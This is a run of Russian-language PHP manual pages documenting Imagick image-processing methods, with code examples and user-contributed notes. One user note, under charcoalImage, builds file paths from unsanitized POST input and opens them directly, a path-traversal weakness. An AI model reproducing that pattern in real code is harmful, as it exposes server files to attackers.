  • Imagick::motionBlurImage() - Имитирует размытие в движении
  • Imagick::radialBlurImage() - Радиальное размытие изображения

User Contributed Notes

michael at dodwell dot us 28-Aug-2014 12:59
Be aware that this function is extremely CPU intensive.


Адаптивное изменение размера изображения с данными триангуляции

  • « Imagick::adaptiveBlurImage
  • Imagick::adaptiveSharpenImage »
  • PHP Manual
  • Imagick
  • Адаптивное изменение размера изображения с данными триангуляции

Imagick::adaptiveResizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveResizeImage — Адаптивное изменение размера изображения с данными триангуляции

Описание

public Imagick::adaptiveResizeImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool

Адаптивное изменение размера изображения с данными триангуляции. Позволяет избежать размытия через резкое изменение цвета. Чаще всего используется для уменьшения изображений чуть меньше "размера для web"; получается плохо, когда полноразмерное изображение адаптивно изменяется в миниатюру. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Замечание: Поведение параметра bestfit было изменено в Imagick 3.0.0. До этой версии при изменении изображения размером 200x150 до 400x300 никаких операций не происходило. В Imagick 3.0.0 и далее изображение будет масштабировано до размеров 400x300, так как это наилучшим образом соответствует ("best fit") данным размерам. Если используется параметр bestfit, то ширина и высота также должны быть определены.

Список параметров

columns

Количество столбцов в масштабе изображения.

rows

Количество строк в масштабе изображения.

bestfit

Будет ли подгоняться изображение внутри ограничительной рамки.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Добавлен необязательный параметр подгонки.
PECL imagick 2.1.0 | Метод теперь поддерживает пропорциональное масштабирование. Для этого нужно передать 0 одному из параметров.

Примеры

Пример #1 Пример использования Imagick::adaptiveResizeImage()

Изменение размеров изображения обычно используемых в web. Этот метод лучше всего работает при небольшом изменении размера.

<?php
header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');
$image->adaptiveResizeImage(1024,768);

echo $image;
?>

Смотрите также

  • Imagick::chopImage() - Удаляет область изображения и обрезает его
  • Imagick::cropImage() - Извлекает область изображения
  • Imagick::magnifyImage() - Пропорционально масштабирует изображение в два раза
  • Imagick::minifyImage() - Масштабирует изображение пропорционально половине его размера
  • Imagick::resizeImage() - Масштабирует изображение
  • Imagick::scaleImage() - Масштабирует размер изображения
  • Imagick::shaveImage() - Удаляет пиксели по краям изображения
  • Imagick::thumbnailImage() - Изменяет размер изображения
  • Imagick::trimImage() - Удаляет края с изображения

User Contributed Notes

There are no user contributed notes for this page.


Адаптивное изменение резкости изображения

  • « Imagick::adaptiveResizeImage
  • Imagick::adaptiveThresholdImage »
  • PHP Manual
  • Imagick
  • Адаптивное изменение резкости изображения

Imagick::adaptiveSharpenImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveSharpenImage — Адаптивное изменение резкости изображения

Описание

public Imagick::adaptiveSharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Адаптивное изменение резкости изображения с большей интенсивностью на краях изображения и с меньшей ближе к середине. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

radius

Радиус Гаусса, в пикселях, не считая центрального пикселя. Используйте 0 для авто-выбора.

sigma

Стандартное отклонение Гаусса, в пикселях.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::adaptiveSharpenImage()

Адаптивное изменение резкости изображения с радиусом 2 и сигмой 1.

<?php
try {
$image = new Imagick('image.png');
$image->adaptiveSharpenImage(2,1);
} catch(ImagickException $e) {
echo 'Ошибка: ' , $e->getMessage();
die();
}
header('Content-type: image/png');
echo $image;
?>

Смотрите также

  • Imagick::sharpenImage() - Повышает резкость изображения

User Contributed Notes

There are no user contributed notes for this page.


Выбор порога для каждого пикселя в зависимости от диапазона интенсивности

  • « Imagick::adaptiveSharpenImage
  • Imagick::addImage »
  • PHP Manual
  • Imagick
  • Выбор порога для каждого пикселя в зависимости от диапазона интенсивности

Imagick::adaptiveThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveThresholdImage — Выбор порога для каждого пикселя в зависимости от диапазона интенсивности

Описание

public Imagick::adaptiveThresholdImage(int $width, int $height, int $offset): bool

Выбор индивидуального ограничения для каждого пикселя в зависимости от диапазона значений интенсивности вокруг этого пикселя. Это даёт возможность установить порог изображения, в котором гистограмма глобальной интенсивности не содержит отличительных пиков.

Список параметров

width

Область соседей по ширине.

height

Область соседей по высоте.

offset

Среднее смещение

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::adaptiveThresholdImage()

<?php
function adaptiveThresholdImage($imagePath, $width, $height, $adaptiveOffset) {
$imagick = new \Imagick(realpath($imagePath));
$adaptiveOffsetQuantum = intval($adaptiveOffset * \Imagick::getQuantum());
$imagick->adaptiveThresholdImage($width, $height, $adaptiveOffsetQuantum);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет новое изображение к списку изображений объекта Imagick

  • « Imagick::adaptiveThresholdImage
  • Imagick::addNoiseImage »
  • PHP Manual
  • Imagick
  • Добавляет новое изображение к списку изображений объекта Imagick

Imagick::addImage

(PECL imagick 2, PECL imagick 3)

Imagick::addImage — Добавляет новое изображение к списку изображений объекта Imagick

Описание

public Imagick::addImage(Imagick $source): bool

Добавляет новое изображение к объекту Imagick из текущего положения исходного объекта. После этой операции перемещается позиция итератора в конец списка.

Список параметров

source

Исходный объект Imagick

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

bernie at dakotanetwork dot com 29-Nov-2011 03:42
create a favicon.ico with multiple resolutions

<?php

$src_img = new Imagick("src_img.png");
$icon = new Imagick();
$icon->setFormat("ico");

$geo=$src_img->getImageGeometry();

$size_w=$geo['width'];
$size_h=$geo['height'];

if (128/$size_w*$size_h>128) {
  $src_img->scaleImage(128,0);
} else {
  $src_img->scaleImage(0,128);
}

$src_img->cropImage(128, 128, 0, 0);

$clone = $src_img->clone();
$clone->scaleImage(16,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(32,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(64,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(128,0);
$icon->addImage($clone);

$icon->writeImages("favicon.ico", true);

$src_img->destroy();
$icon->destroy();
$clone->destroy();

?>


Накладывает случайный шум на изображение

  • « Imagick::addImage
  • Imagick::affineTransformImage »
  • PHP Manual
  • Imagick
  • Накладывает случайный шум на изображение

Imagick::addNoiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::addNoiseImage — Накладывает случайный шум на изображение

Описание

public Imagick::addNoiseImage(int $noise_type, int $channel = Imagick::CHANNEL_DEFAULT): bool

Накладывает случайный шум на изображение.

Список параметров

noise_type

Тип шума. Обратитесь к списку констант шума.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::addNoiseImage()

<?php
function addNoiseImage($noiseType, $imagePath, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->addNoiseImage($noiseType, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Преобразование изображения

  • « Imagick::addNoiseImage
  • Imagick::animateImages »
  • PHP Manual
  • Imagick
  • Преобразование изображения

Imagick::affineTransformImage

(PECL imagick 2, PECL imagick 3)

Imagick::affineTransformImage — Преобразование изображения

Описание

public Imagick::affineTransformImage(ImagickDraw $matrix): bool

Преобразование изображения с помощью аффинной матрицы.

Список параметров

matrix

Аффинная матрица

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::affineTransformImage()

<?php
function affineTransformImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$draw = new \ImagickDraw();

$angle = deg2rad(40);

$affineRotate = array(
"sx" => cos($angle), "sy" => cos($angle),
"rx" => sin($angle), "ry" => -sin($angle),
"tx" => 0, "ty" => 0,
);

$draw->affine($affineRotate);

$imagick->affineTransformImage($draw);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 19-Feb-2020 08:37
This function is obsolete. Use distortImage() instead, with the affine transformation constant, and an array of six values, sx, rx, ry, sy, tx, ty.
peter dot e dot lind at gmail dot com 30-Dec-2014 08:27
This method has not been properly implemented it seems - it has no effect whatsoever on the image.


Анимация одного или нескольких изображений

  • « Imagick::affineTransformImage
  • Imagick::annotateImage »
  • PHP Manual
  • Imagick
  • Анимация одного или нескольких изображений

Imagick::animateImages

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::animateImages — Анимация одного или нескольких изображений

Описание

public Imagick::animateImages(string $x_server): bool

Метод производит анимацию изображения на локальном или удалённом X сервере. Метод не доступен в Windows. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

x_server

Адрес X сервера

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::displayImage() - Выводит изображение

User Contributed Notes

gomadurai at gmail dot com 14-Aug-2009 03:31
Below eg shows how to create animated gif
<?php

$multiTIFF = new Imagick();

$mytifspath = "./man"; // your image directory

$files = scandir($mytifspath);

//print_r($files);

/*foreach( $files as $f )
{*/

for($i=2;$i<6;$i++)
{
    echo $files[$i];

    echo "<br>";
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath."/".$files[$i]);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi423432.gif', true); // combine all image into one single image

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.gif', false);

?>


Добавляет текстовый комментарий на изображение

  • « Imagick::animateImages
  • Imagick::appendImages »
  • PHP Manual
  • Imagick
  • Добавляет текстовый комментарий на изображение

Imagick::annotateImage

(PECL imagick 2, PECL imagick 3)

Imagick::annotateImage — Добавляет текстовый комментарий на изображение

Описание

public Imagick::annotateImage(
ImagickDraw $draw_settings,
float $x,
float $y,
float $angle,
string $text
): bool

Добавляет текстовый комментарий на изображение.

Список параметров

draw_settings

Объект ImagickDraw с настройками наносимого текста

x

Горизонтальное смещение в пикселях слева от текста

y

Вертикальное смещение в пикселях к базовому тексту

angle

Угол под которым выводится текст. Положительное значение: направление от верхнего левого угла до нижнего правого угла. Отрицательное значение: от нижнего левого угла до верхнего правого угла.

text

Строка с текстом

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::annotateImage():

Добавление текста к пустому изображению

<?php
/* Создаём объекты */
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel( 'gray' );

/* Новое изображение */
$image->newImage(800, 75, $pixel);

/* Чёрный текст */
$draw->setFillColor('black');

/* Настройки шрифта */
$draw->setFont('Bookman-DemiItalic');
$draw->setFontSize( 30 );

/* Создаём текст */
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

/* Устанавливаем формат изображения */
$image->setImageFormat('png');

/* Выводим изображение с заголовками */
header('Content-type: image/png');
echo $image;

?>

Смотрите также

  • ImagickDraw::annotation() - Рисует текст на картинке
  • ImagickDraw::setFont() - Устанавливает указанный шрифт для использования при аннотировании текстом

User Contributed Notes

yakuza88 at op dot pl 26-Aug-2016 07:30
Does not work with CMYK color values and images. Only RGB.
www dot query at gmail dot com 08-Sep-2011 08:13
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox');

If the third parameter, the 'Y' value, is 0, the text will be invisible because the text is printed ABOVE the image - not on the image.

The solution is to start, depending on your chosen font size, with a Y value of about 40 and experiment.

[Also:]

When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php
   $picin = new Imagick($pic1);
   $picin->scaleimage(800,0);
   $height = $picin->getimageheight();

   $draw = new ImagickDraw();
   $draw->setFillColor('#ffff00');
   $draw->setFont('Eurostile');
   $draw->setFontSize(21);
   $draw->setTextUnderColor('#ff000088');
   $picin->annotateImage($draw,40,$height-10,0,"Hallo");

   $picin->writeimage($pic6);
?>

The example code produces yellow text on a semi-transparent red background.

$pic1 and $pic6 were previously defined as directory/file strings.
alan at ridersite dot org 23-Aug-2007 12:37
If ImagickDraw::setGravity ( int $gravity ) has been set, e,g; with $gravity= imagick::GRAVITY_CENTER.

Then, the x and y values offset the text from where the gravity setting would have placed it.

If the example included: $draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

The text would be rendered to the right 10px and down 45px from the center.

Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.


Объединяет набор изображений

  • « Imagick::annotateImage
  • Imagick::autoLevelImage »
  • PHP Manual
  • Imagick
  • Объединяет набор изображений

Imagick::appendImages

(PECL imagick 2, PECL imagick 3)

Imagick::appendImages — Объединяет набор изображений

Описание

public Imagick::appendImages(bool $stack): Imagick

Объединяет набор изображений в одно большое изображение.

Список параметров

stack

Стоит ли складывать изображения вертикально. По умолчанию (или если указано false) изображения складываются слева направо. Если stack установлен в true, то изображения складываются сверху вниз.

Возвращаемые значения

В случае успешного выполнения возвращает экземпляр Imagick.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::appendImages()

<?php

/* Создаём новый объект imagick */
$im = new Imagick();

/* создаём красное, зелёное и синее изображения */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Соединяем все изображения в одно */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Выводим изображение */
$combined->setImageFormat("png");
header("Content-Type: image/png");
echo $combined;
?>

Результатом выполнения данного примера будет что-то подобное:

Пример вывода : Imagick::appendImages()

User Contributed Notes

adao at adao dot eti dot br 30-Sep-2014 12:59
# change $ima to $ima->getimagesblob()

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima->getimagesblob();
?>
Anonymous 14-Mar-2014 05:08
Sometimes when running this code on a long running apache24 instance on a server with minimal memory the final "echo $ima;" returns an empty string.

Doing an "apache graceful" seems to clear this up.  There appears to be no other way to correct OR DETECT this problem. Suckky.
Brandon 12-Nov-2009 12:56
# How to combine a multi-page pdf file into a single long image:

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima;
?>


Настраивает уровни определённого канала изображения

  • « Imagick::appendImages
  • Imagick::averageImages »
  • PHP Manual
  • Imagick
  • Настраивает уровни определённого канала изображения

Imagick::autoLevelImage

(PECL imagick 3 >= 3.3.0)

Imagick::autoLevelImage — Настраивает уровни определённого канала изображения

Описание

public Imagick::autoLevelImage(int $channel = Imagick::CHANNEL_DEFAULT): bool

Настраивает уровни определённого канала изображения, масштабируя минимальное и максимальное значения до полного квантового диапазона.

Список параметров

channel

На каком канале следует выполнить автоматическое выравнивание.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::autoLevelImage()

<?php
function autoLevelImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->autoLevelImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Усредняет набор изображений

  • « Imagick::autoLevelImage
  • Imagick::blackThresholdImage »
  • PHP Manual
  • Imagick
  • Усредняет набор изображений

Imagick::averageImages

(PECL imagick 2, PECL imagick 3)

Imagick::averageImages — Усредняет набор изображений

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::averageImages(): Imagick

Усредняет набор изображений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает объект Imagick.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Перевести все пиксели ниже порогового значения в чёрный цвет

  • « Imagick::averageImages
  • Imagick::blueShiftImage »
  • PHP Manual
  • Imagick
  • Перевести все пиксели ниже порогового значения в чёрный цвет

Imagick::blackThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::blackThresholdImage — Перевести все пиксели ниже порогового значения в чёрный цвет

Описание

public Imagick::blackThresholdImage(mixed $threshold): bool

Работает так же, как Imagick::thresholdImage(), но изменяются только пиксели ниже порогового значения, в то время как остальные пиксели остаются неизменными.

Список параметров

threshold

Пороговое значение ниже которого все пиксели станут чёрными

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | В качестве параметра возможно передавать цвет строкой. В предыдущих версиях разрешалось передавать только ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::blackThresholdImage()

<?php
function blackThresholdImage($imagePath, $thresholdColor) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->blackthresholdimage($thresholdColor);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Iddles 06-Jul-2011 05:35
You need to pass this function a colour:

<?php

$img->blackThresholdImage( "#FFFFFF" );

?>

E.g. this blackens any pixel which isn't pure white.
elmer at web-axis dot net 30-Nov-2008 03:33
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->blackThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Приглушает цвета изображения

  • « Imagick::blackThresholdImage
  • Imagick::blurImage »
  • PHP Manual
  • Imagick
  • Приглушает цвета изображения

Imagick::blueShiftImage

(PECL imagick 3 >= 3.3.0)

Imagick::blueShiftImage — Приглушает цвета изображения

Описание

public Imagick::blueShiftImage(float $factor = 1.5): bool

Приглушает цвета изображения для имитации сцены в ночное время при лунном свете.

Список параметров

factor

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::blueShiftImage()

<?php
function blueShiftImage($imagePath, $blueShift) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->blueShiftImage($blueShift);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет фильтр размытия к изображению

  • « Imagick::blueShiftImage
  • Imagick::borderImage »
  • PHP Manual
  • Imagick
  • Добавляет фильтр размытия к изображению

Imagick::blurImage

(PECL imagick 2, PECL imagick 3)

Imagick::blurImage — Добавляет фильтр размытия к изображению

Описание

public Imagick::blurImage(float $radius, float $sigma, int $channel = ?): bool

Добавляет фильтр размытия к изображению. Необязательный третий параметр служит для размытия определённого канала.

Список параметров

radius

Радиус размытия

sigma

Стандартное отклонение

channel

Константа Channeltype. Если не указано, то будут размыты все каналы.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::blurImage():

Размытие изображения и отправка его в браузер.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->blurImage(5,3);
echo $image;

?>

Смотрите также

  • Imagick::adaptiveBlurImage() - Добавляет адаптивный фильтр размытия к изображению
  • Imagick::motionBlurImage() - Имитирует размытие в движении
  • Imagick::radialBlurImage() - Радиальное размытие изображения

User Contributed Notes

There are no user contributed notes for this page.


Окружает изображение рамкой

  • « Imagick::blurImage
  • Imagick::brightnessContrastImage »
  • PHP Manual
  • Imagick
  • Окружает изображение рамкой

Imagick::borderImage

(PECL imagick 2, PECL imagick 3)

Imagick::borderImage — Окружает изображение рамкой

Описание

public Imagick::borderImage(mixed $bordercolor, int $width, int $height): bool

Окружает изображение рамкой с цветом, установленным в объекте ImagickPixel.

Список параметров

bordercolor

Объект ImagickPixel или строка, содержащая цвет рамки

width

Ширина рамки

height

Высота рамки

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | В качестве цвета разрешено передавать строку. Предыдущие версии допускали только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::borderImage()

<?php
function borderImage($imagePath, $color, $width, $height) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->borderImage($color, $width, $height);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

rosh3000 at gmail dot com 06-Jul-2015 03:52
To  get an image with exact dimensions (i.e. add whitespace) use with borderImage:
$desired_width = 1000;
$desired_height = 1000;

 $image->scaleImage($desired_width,$desired_height , true);
 $image->borderImage('white', ($image->getImageWidth() - $desired_width) / 2,($image->getImageHeight() - $desired_height ) / 2);


Изменяет яркость и/или контраст изображения

  • « Imagick::borderImage
  • Imagick::charcoalImage »
  • PHP Manual
  • Imagick
  • Изменяет яркость и/или контраст изображения

Imagick::brightnessContrastImage

(PECL imagick 3 >= 3.3.0)

Imagick::brightnessContrastImage — Изменяет яркость и/или контраст изображения

Описание

public Imagick::brightnessContrastImage(float $brightness, float $contrast, int $channel = Imagick::CHANNEL_DEFAULT): bool

Изменяет яркость и/или контраст изображения. Преобразует параметры яркости и контрастности в наклон и пересечение и вызывает полиномическую функцию для применения к изображению.

Список параметров

brightness

contrast

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::brightnessContrastImage()

<?php
function brightnessContrastImage($imagePath, $brightness, $contrast, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->brightnessContrastImage($brightness, $contrast, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисование углём

  • « Imagick::brightnessContrastImage
  • Imagick::chopImage »
  • PHP Manual
  • Imagick
  • Рисование углём

Imagick::charcoalImage

(PECL imagick 2, PECL imagick 3)

Imagick::charcoalImage — Рисование углём

Описание

public Imagick::charcoalImage(float $radius, float $sigma): bool

Рисование углём.

Список параметров

radius

Радиус Гаусса, в пикселях, не включая центральный пиксель

sigma

Стандартное отклонение Гаусса, в пикселях

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::charcoalImage()

<?php
function charcoalImage($imagePath, $radius, $sigma) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->charcoalImage($radius, $sigma);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

holdoffhunger at gmail dot com 11-Apr-2012 11:13
The parameters for this function are really scary.  Radius of the Gaussian and Standard Deviation of the Gaussian?  After playing with it for a little bit, I think I put it together.  The Gaussian is the "brush" (in Gimp/Photoshop jargin), the radius is simply the radius of the brush, and the standard deviation is the level of variation among the sizes of the brush imprints.  The $radius parameter can be anything from 0 to as high a number as you can think, but once you beyond 10, 20, or 30 pixels, depending on the image size, the whole image gets blurred beyond useful recognition.  The $sigma, being the standard deviation, should be smaller than your radius to get the desired effect.  Think of it as "Charcoal Brushes of $radius Pixels Size, with each brush being as much as $sigma Pixels bigger or smaller than that."

For an average 500 x 500 pixel image, you'll probably want a $radius of 3 to 5 and a $sigma of 1 to 3, but you can go as far as 10 pixels generally before the image is blurred beyond recognition.  (At the moment, $radius: 5 / $sigma: 2 is the perfect blend for this 400x400 image that I'm working on right now.)

There was not too help from the official documentation site for this project, either: http://www.imagemagick.org/RMagick/doc/image1.html .  The authors there note: "You can alter the intensity of the effect by changing the radius and sigma arguments."  So, my description here of the functioning is based mostly on experience rather than documentation, which is difficult to find.

The following is the entire code for applying the effect to an image.  This code will open the specified file, it will apply the charcoalImage effect to it, and then it will save it to another specified file.  The arguments are served up through POST data, and the only functions of the ImageMagick class that are used are the readImageFile, charcoalImage, and writeImageFile, as so :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Inbound Data -- Function Parameters
        // --------------------------------------------------

    $inbound_gaussian_radius = $_POST['radius_of_gaussian'];
    $inbound_standard_deviation = $_POST['standard_deviation_of_gaussian'];

        // Grab Inbound Data -- Read-File and Write-File
        // --------------------------------------------------

    $filename_for_function = $_POST['file_target'];
    $inbound_save_as_filename = $_POST['saveable_result_file'];

        // Grab Image File Data
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $filename_for_function;

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->charcoalImage($inbound_gaussian_radius, $inbound_standard_deviation);

        // Save File
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $inbound_save_as_filename;

    $file_handle_for_saving_image_file = fopen($file_to_grab_with_location, 'a+');

        // Write File
        // ---------------------------------------------

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Удаляет область изображения и обрезает его

  • « Imagick::charcoalImage
  • Imagick::clampImage »
  • PHP Manual
  • Imagick
  • Удаляет область изображения и обрезает его

Imagick::chopImage

(PECL imagick 2, PECL imagick 3)

Imagick::chopImage — Удаляет область изображения и обрезает его

Описание

public Imagick::chopImage(
int $width,
int $height,
int $x,
int $y
): bool

Удаляет выбранную область с реструктуризацией изображения.

Список параметров

width

Ширина обрезаемой области

height

Высота обрезаемой области

x

Начало обрезаемой области по оси X

y

Начало обрезаемой области по оси Y

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Использование Imagick::chopImage():

Пример использования Imagick::chopImage

<?php
/* Создаём объекты */
$image = new Imagick();
$pixel = new ImagickPixel( 'gray' );

/* Новое изображение */
$image->newImage(400, 200, $pixel);

/* Обрезка изображения */
$image->chopImage(200, 200, 0, 0);

/* Установка формата изображения */
$image->setImageFormat('png');

/* Вывод изображения с заголовками */
header('Content-type: image/png');
echo $image;

?>

Смотрите также

  • Imagick::cropImage() - Извлекает область изображения

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает диапазон цветов от 0 до квантовой глубины

  • « Imagick::chopImage
  • Imagick::clear »
  • PHP Manual
  • Imagick
  • Ограничивает диапазон цветов от 0 до квантовой глубины

Imagick::clampImage

(PECL imagick 3 >= 3.3.0)

Imagick::clampImage — Ограничивает диапазон цветов от 0 до квантовой глубины

Описание

public Imagick::clampImage(int $channel = Imagick::CHANNEL_DEFAULT): bool

Ограничивает диапазон цветов от 0 до квантовой глубины.

Список параметров

channel

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Очищает все ресурсы, связанные с объектом Imagick

  • « Imagick::clampImage
  • Imagick::clipImage »
  • PHP Manual
  • Imagick
  • Очищает все ресурсы, связанные с объектом Imagick

Imagick::clear

(PECL imagick 2, PECL imagick 3)

Imagick::clear — Очищает все ресурсы, связанные с объектом Imagick

Описание

public Imagick::clear(): bool

Очищает все ресурсы, связанные с объектом Imagick

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

kd0bpv at gmail dot com 05-Mar-2014 10:31
Imagick::destroy() has been deprecated in favor of Imagick::clear().
admin at dinacel dot com 16-Jun-2013 03:18
Destroy and clear methods seem to do exactly the same thing
@see http://svn.php.net/viewvc/pecl/imagick/trunk/imagick_class.c?view=markup (l.3066 & l.3087)

The code is duplicated, they do the same thing a bit differently.
markus dot s dot schmitz at gmail dot com 11-Dec-2012 08:46
One might be suprised that there seems to be no difference between:

<?php
$imagick = new Imagick();
$imagick->clear();
$imagick->readImage('myfile.jpg');
?>

and

<?php
$imagick = new Imagick();
$imagick->destroy();
$imagick->readImage('myfile.jpg');
?>

Both functions reset all options and clear all used resources so you might want to use either one of them.
See also: http://php.net/manual/en/imagick.destroy.php


Обрезка вдоль ближайшего контура с профилем 8BIM

  • « Imagick::clear
  • Imagick::clipImagePath »
  • PHP Manual
  • Imagick
  • Обрезка вдоль ближайшего контура с профилем 8BIM

Imagick::clipImage

(PECL imagick 2, PECL imagick 3)

Imagick::clipImage — Обрезка вдоль ближайшего контура с профилем 8BIM

Описание

public Imagick::clipImage(): bool

Обрезка вдоль ближайшего контура с профилем 8BIM, если он предоставлен.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Клипы вдоль именованных путей из профиля 8BIM, если они есть

  • « Imagick::clipImage
  • Imagick::clipPathImage »
  • PHP Manual
  • Imagick
  • Клипы вдоль именованных путей из профиля 8BIM, если они есть

Imagick::clipImagePath

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::clipImagePath — Клипы вдоль именованных путей из профиля 8BIM, если они есть

Описание

